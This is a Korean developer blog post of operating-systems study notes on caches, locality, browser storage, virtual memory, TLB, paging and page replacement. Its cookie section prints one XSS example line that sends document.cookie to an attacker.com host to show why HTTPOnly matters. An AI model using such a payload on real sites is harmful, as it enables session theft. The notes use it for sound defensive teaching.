ASHD Dev_Blog

3.2 메모리 [OS-study]

메모리의 종류 및 동작 과정

이재룡
이재룡 Jul 2, 2025

[ 1. 메모리 계층 ]

  • 저장장치를 제외 모두 휘발성
 

캐시

  • EX) L1, L2, L3
  • 캐싱 계층 : 메모리와 CPU 사이의 처리 속도의 차이로 인한 병목 현상 억제를 위한 레지스터 계층
 
  • 지역성의 원리를 이용하여 자주 사용하는 데이터를 캐싱
    • Temporal Locality : 시간, 즉 최근 접근한 데이터에 다시 접근할 확률이 높음
      • ⇒ for 문의 변수 i에 반복 접근

    • Spatial Locality : 공간, 즉 접근한 데이터의 근처의 데이터는 접근될 확률이 높음
      • ⇒ a배열 0번자리에 접근했다면 동일 배열의 1번, 2번은 이후에 접근할 가능성이 높음

 
  • 캐싱 매핑 (필요한 메모리 주소를 받았을 때, 캐시의 어디에 저장할지? = 어디서 찾을지)
    • Directed Mapping : 메모리의 하위 비트(=캐시의 수)를 이용해서 캐시에 매핑 - 속도가 빠름
      • ⇒ 16개의 캐시가 있다면 찾아야 할 메모리 값의 하위 비트 0000~1111을 보고 N번 캐시에 매핑

    • (Full) Associative Mapping : 모든 메모리를 탐색해서 관련성을 기준으로 매핑하는 방식 - 속도가 느림
    • Set Associative Mapping : 직접 매핑과 연관 매핑을 합쳐 놓은 것 - 순서(하위 비트 이용)를 가지되, 동일한 데이터를 동일 인덱스에 저장 가능(순서 없이)
    •  
Callout icon'
지역성 : 어떤 값을 캐싱할지를 정하는 기준
HIT/MISS : 원하는 값이 캐시에 있는지 T/F
캐시 매핑 : 메모리의 주소값과, 어떤 연관성으로 캐시를 연결할지
 
Callout icon'
심화 질문 1 : 다음과 같은 direct mapped cache에서
0, 4, 8188, 16384, 0이 들어올 때, 몇번의 hit가 발생하는지 서술하시오

(빨리 풀었으면, 4가 아니라 3이 오면 hit가 3번이 되는데 이를 locality를 이용해서 설명해보시오)

  • 참고 하위 두 비트는 offset으로 무시해도 되는 값이고,
  • 초록색의 비트가 tag, 파란색의 비트가 index값이다. (즉, 0과 16384는 index 값이 동일하다.)
Callout icon'

hit 1번 : 0,16384가 같은 index공간을 공유하지만, 서로 다른 태그를 가지므로 교체가 일어나 마지막 3단계가 모두 miss
0→4→ 8188 → 0(hit) → 16384(동일 index but 태그가 달라 miss) → 0(들어있는 값이 16384이므로, 태그가 달라 miss)

3이 되면 0과 offset만 달라지므로, 동일 태그, index를 가져 같은 캐시 공간을 사용한다. = hit
offset이 다른데도 3과 0이 같은 데이터로 인식되는 이유는 spatial locality에 의해 0번 데이터에 접근할때 0~3번까지의 데이터 즉 00 01 10 11의 데이터를 모두 가져오기 때문이다.

 
 
 

[ 2. 웹 브라우저의 캐시 ]

오리진(Origin) : 웹에서 자원을 제공하는 서버의 출처

구조

  • 프로토콜 : http
  • 도메인 : naver.com
  • 포트 번호 : 80

 

핵심 : 웹브라우저의 캐시는 indentity나 중복 방지 등에 사용되며, 오리진에 종속된다.

https://example.com/style.css를 캐시한 경우 동일한 파일이라도 https://other.com/style.css 또는 http://example.com/style.css 다른 오리진이므로 캐시가 공유되지 않음

 
  1. 쿠키 : 만료기한이 있는 키-값 저장소
      • HTTPOnly옵션을 통해 document.cookie로 쿠키 확인이 불가능하게 하는게 보안적 유리

      ⇒ 즉 옵션을 키지 않으면 XSS(Cross-Site Scripting)공격으로

      fetch('https://attacker.com/steal?cookie=' + document.cookie) 처럼 쿠키 탈취 가능

  1. 로컬 스토리지 : 만료기한이 없는 키-값 저장소 (웹 브라우저를 닫아도 유지)
  1. 세션 스토리지 : 만료기한이 없는 키-값 저장소 (탭을 닫을 때, 세션 스토리지 삭제)
 
 
 

[ 3. 가상 메모리 ]

운영체제의 메모리 관리 ⇒ 실제 메모리 주소(physical addr)는 크기 및, 사용 범위, 중복 사용 등의 제한이 너무 많기 때문에 이를 가상 메모리 주소(virtual addr)를 이용하여 추상화

 

MMU : 가상 주소를 실제 주소로 변환하는 장치

Pagetable : 가상 주소 - 실제 주소 매핑 테이블 (in MEM)

TLB : 메모리와 CPU사이의 주소 변환 캐시

⇒ 페이지 테이블은 메모리에 있기 때문에 일부를 저장해놓은 캐시

https://example.com/style.css를 캐시한 경우 동일한 파일이라도 https://other.com/style.css 또는 http://example.com/style.css 다른 오리진이므로 캐시가 공유되지 않음

 

단위

페이지 : 가상 메모리의 사용 단위

프레임 : 실제 메모리의 사용 단위

 

Callout icon'
페이지 폴트 : RAM 없는 데이터에 접근 ⇒ 유효한 가상 주소지만, RAM에 있던 데이터가 교체되어, 없는 상태⇒ 빈 프레임으로 교체 ⇒ 페이지 테이블 업데이트

스와핑 : RAM에서 당장 사용하지 않는 영역을 HDD로 옮기고, 필요한 HDD의 일부분을 메모리로 불러오는 것
스레싱 : 페이지 폴트율이 특정 한계선을 넘어간 상태
- 스레싱 예방 방법 1 : “Working SET” → 과거 사용했던 페이지를 바탕으로 페이지 리스트를 만들어 메모리에 미리 로드
- 스레싱 예방 방법 2 : “PFF” → 상한선/하한선을 만들어 프레임을 늘리거나/줄이는것 (메모리의 상대적 할당)
 

메모리 할당

  1. 연속
      • 고정 분할 방식 - 메모리를 미리 균등하게 나누어 놓는 방식 ⇒ 내부 단편화 발생
        • ⇒ 1MB 파티션에 700KB 프로그램이 들어가면, 300KB는 낭비됨

       
      • 가변 분할 방식 - 프로그램의 크기에 맞게 동적으로 메모리 할당 ⇒ 외부 단편화 발생
        • ⇒ 메모리에 작은 용량의 조각들이 많아져, 메모리 관리가 힘들고 느려짐

          Callout icon'
          First FIT : 위에서부터 빈 공간 탐색 ⇒ 필요 공간 < 메모리 공간이 될 때까지
          Best FIT : 메모리 내의 필요 공간 < 메모리 공간이며 그 차이가 가장 작은 공간 할당
          Worst FIT : 가장 큰 공간 할당
 
  1. 불연속 (현재 OS의 방식)
    1. 동일한 크기의 단위로 메모리를 나누어 두고, 각 프로그램에게 필요한 만큼 제공

      • 페이징 : 동일한 크기의 page로 나누는 방식
      • 세그멘테이션 : 코드내의 함수나 데이터 등의 작은 임의의 크기 단위인 segment로 나누는 방식
      • 페이지드 세그멘테이션 : 작은 segment 단위를 사용하되, 임의의 크기가 아닌 정해진 segment 단위로 나누는 방식
 
 

페이지 교체 알고리즘

OPT (Optimal Page Replacement Algorithm) : 앞으로 가장 오래 사용되지 않을 페이지와 교체

⇒ 성능 비교용 가장 좋은 알고리즘 (현실에서 불가능)

 

FIFO : 가장 먼저 들어온 것을 먼저 교체

LRU : 참조가 가장 오래된 페이지 교체 (순서를 자유롭게 바꿀 수 있는 이중 연결 리스트로 구현)

NUR : 시계방향으로 돌면서, 0 인 것을 찾아서 바꾸고 1[최근에 참조됨] 변경 (=clock 알고리즘)

LFU : 현재 가장 참조 횟수가 가장 적은 페이지 교체

 
Callout icon'
심화 질문 2 : 가상 메모리든 실제 메모리든 상관 없이, 페이지 테이블에서 실제 의미를 가지는 페이지 번호와 의미 없는 offset으로 구성된다.
이 때, 실제 메모리와, 가상 메모리의 offset은 동일하게 구성하는데 그 이유를 TLB와 관련하여 설명하시오
  • pagetable 및 TLB에는 VPN(virtual page number)와 PPN(physical page number)가 매핑된다. (주소 - 주소 매핑이 아니긴 한데 사실상 같다고 봐도 됨)
  • cache의 index를 알아야 어디에 저장할지 및 어떤 tag와 hit/miss를 판별해야 할지 알 수 있다.
Callout icon'

TLB를 안써도, index를 알 수 있다 = TLB 조회(변환)와 캐시 인덱스를 동시에 가능 (병렬처리 - 성능 향상)

결국 이 translation의 목적은 VA를 PA로 바꾸는 것이다. 이 때 page offset이 동일하다면, VPN→PPN만 하면 되고, 이를 확인할 수 있는 것이 TLB이다.

 

이 때, 내가 필요로 하는 주소 값의 index만 알면 . 따라서 page offset의 범위가 index보다 크면, 굳이 translation 없이 index를 구할 수 있으므로. TLB를 확인하지 않고도 해당 캐시의 index를 접근할 수 있다. = TLB 변환을 기다리지 않고 캐시에 접근 가능하다.


= 병목될 요인(TLB에 miss→ 메모리 pagetable 참조 → 값을 가져와 비교)을 병렬 처리 가능

 

벗어나면, 어쩔 수 없이 TLB에서 PPN을 찾아야 index를 알 수 있다.

 
 

추천 글

BlogPro logo